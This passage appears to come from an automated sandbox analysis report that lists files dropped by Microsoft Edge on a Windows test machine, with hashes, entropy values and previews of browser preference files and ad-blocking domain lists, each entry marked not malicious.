SHA-512:	8C9F5BD76B9EC33A552F311684298353C847BD849B5083DD2730049B8AB448979F285E85A217DF28CA296796F2F073699CE4A0B228906ECEE250D3D15E805090
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\15c05d05-9fb4-4a57-a3fe-2e9b7c842704.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46421
Entropy (8bit):	6.087119257437381
Encrypted:	false
SSDEEP:	768:pMkbJrT8IeQc5dKl4whi1zNt9ld9kO0QWu8SsIQmxgpCioyJDSgzMMd6qD47u306:pMk1rT8H1KLeiIQ9FoytSmd6qE7Q
MD5:	97A454B262631AB61B2F73B23A1F3A02
SHA1:	CFD621CECB3C59426AFD4913C3A68CCB7DCE093F
SHA-256:	8F585EA58B7F2B38B94BD769DFDB91443BABF46862B5DB822BCF5D60185B7235
SHA-512:	8C531423A70310D70BBEB281DEE4CC3F1F4F02FAF12119D8F02CE6931F8339B6F5C19DF2EA0605D96BB0837B83540DA66A550DF2AD39221EDECE88C0D3BC1F7F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376991216114724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"15eabfa0-901f-4ea8-a3b7-0341a5d48e5d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732517620"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\44cead13-8aae-4d35-8379-3ace256831de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46498
Entropy (8bit):	6.087021768786392
Encrypted:	false
SSDEEP:	768:pMkbJrT8IeQc5lKl4whi1zNt9l0kO0QWu8SsIQmxgpCioyJDSgzMMd6qD47u306:pMk1rT8HtKLoIQ9FoytSmd6qE7Q
MD5:	94BCC5DECD4984A7FB314F72F1FFBD4C
SHA1:	4397F229CB0273ED1EBE4FFB63C194977FF8D1D2
SHA-256:	9515A13904ED7F3D0F8F36E8BC2C6944689F14F140B242E1069FF762AA9C988A
SHA-512:	3301F7CDBDB12B91289C03CA6369CD27C2AAB7289AB8F861164D26DB8353A5DB92E44E6670EB9A94D18183EFA6F2044EDDD265594825D78E3AF9FE8E3E734726
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376991216114724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"15eabfa0-901f-4ea8-a3b7-0341a5d48e5d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732517620"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9013e55d-cc13-4af0-82b4-5f57dd3ca545.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46374
Entropy (8bit):	6.087443014900636
Encrypted:	false
SSDEEP:	768:pMkbJrT8IeQc5dKlQwhi1zNt9ld9kO0QWu8SsIQmxgpCioyJDSgzMMd6qD47u306:pMk1rT8H1K7eiIQ9FoytSmd6qE7Q
MD5:	7A12A4AADE2954A49705C3A82D2DCEA2
SHA1:	D195CA1821C4AA7B7B57DD160C2CADCDD7D0C257
SHA-256:	CE0C2470782151A662A2339F8EDD5BC7685E2ABAB02925CF84D78CA89EAFCAE8
SHA-512:	6EE2D5100755D0EB363F541C98B9FA389662C16AB796A11E73912ABDA4F522BEDEB4ED3B2E5BD8EBDA5423ABE6BA492D79C978CA540AE514227EB23BB2F86BAA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376991216114724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"15eabfa0-901f-4ea8-a3b7-0341a5d48e5d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732517620"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\926e93dd-beb0-42e9-b182-5eecce21c5ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095808056558472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWEwCi1zNt9ldN+oQsKYGKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2jMKtSmd6qE7lFoC
MD5:	F7C50604FB2500A2C5F2677908DB8650
SHA1:	33930805E17A4CE3319653B2E7AACEA17D707906
SHA-256:	BC47BC2530EF8936A4960306FBE2FF145D4E8B0E39475AFAD860DC2A2DA24737
SHA-512:	1476854A6ED02E674C234D0C0215D2FBEC53024BBA80BD406B18D861ABF819DA3B9D7294E67C05D0DA8121344A713380E2C105994BB953252C178954ACBC6E47
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\933e2951-ebed-498e-ba00-2a4f0bc7055e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\ef614bb5-e6d7-4d5a-982a-74e7654f8b3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67441EEF-FDC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.46053519350854966
Encrypted:	false
SSDEEP:	3072:oh+6xKElcXq0Whlu3b+PkcmsoTFGBMNOevwMoEu42que644kg1HF2sE:X6xaXV3bUkcmR0ivzA42que644kaH1E
MD5:	4C04EA6AA6B57291A48962DF7D1FB149
SHA1:	F75520A1E033ABE82E9295D804D64408608B1446
SHA-256:	BA05974C0C04360BC23D38C4D7EA7847E3D5FDE333133F5CD4F8585364288057
SHA-512:	3FEC485ADE1A638827F4073D516F3779389AC246745F4E9A5722C66C5593833473F65774DEEBFC04A7E6C52CE3EA84102B9483F44E5868C867EBF34E1266F054
Malicious:	false
Preview:	...@..@...@.....C.].....@...................`...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".korjxf20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........9...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0a895a1c-9da8-4289-ace8-cce474bf2914.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56159031628247
Encrypted:	false
SSDEEP:	768:4Ue7U5Wol7pLGLPSUW5wUaf4vN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPlQHoI7Qr:4lw5LzcPSUWaUafoNu1jaIQHxd6/UqKu
MD5:	A0D1A30C62C7160D3E8FB4D08FDF5018
SHA1:	DDAD1D6EC6D8CFDEBB9BD88188DED4D6991DA81F
SHA-256:	B10C83F5E0962D714E73D7219679DD2CBECF107E184E1D7AF23A40B642449161
SHA-512:	C242EC7BAD0364020F46B938C4C73F51D082039E2DFC76E410DDA310D10ED7966616D6234D90C0CBB4B1E2E3F4625AF331DB4C334765022986006F682D0C4120
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376991215470838","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376991215470838","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\21b4db8d-cfd1-40ab-b08b-87b3f412bf7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17512), with no line terminators
Category:	dropped
Size (bytes):	17516
Entropy (8bit):	5.475873994877882
Encrypted:	false
SSDEEP:	384:stBPGQSu4/s4KCDvePmcE2VujDC4HwbGJQwW3Iu:sDOXu8KCabxbGajIu
MD5:	39EC0F6CB218E17ED99EED229A31FCF4
SHA1:	7E96AA01AAB33D1266ABA7E88F556748D82E9B45
SHA-256:	CFD73CF43DD80EB304CD833E6C2B5AC61551F61E96FE157AFAE7906120A80B4C
SHA-512:	595D0F611B651B36EE17DD63172FE7595C6C0600BF0EA24DC085EE7641128F9CBF98FA76F6D65EF71AB9913160A73B5E2F8144D1F1877E7AC8FD52D9175B3CCC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2257e12f-9d25-42c3-b1c6-3b9403aa0898.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a859dbc-1b9c-4a29-bdf5-67e21851f55b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\89f36fa8-a862-4d1a-b2c6-7d1f627abd17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17512), with no line terminators
Category:	dropped
Size (bytes):	17516
Entropy (8bit):	5.475842270607747
Encrypted:	false
SSDEEP:	384:stBPGQSu4/s4KCDvePmcE2VujDC4HwbGJQwh3Iu:sDOXu8KCabxbGa6Iu
MD5:	912B5D569AFF7CB8C5658E614F96116F
SHA1:	3A5AED9EA8EF692C51CD58E37D7BC5B12BF6DB52
SHA-256:	2348F00AE29693AD790E7D981608FB54824B9DC527EB017FA8B0DBC88D5BEBBB
SHA-512:	6AFE25748D9D2097F35937587A914664158FFD802640F3C9AD4D1C3976376C7F027ACA562B3F00AF1B7AEDED7C34CB3C6A10ED5588BAE7292752C6A1C86843E1
Malicious:	false
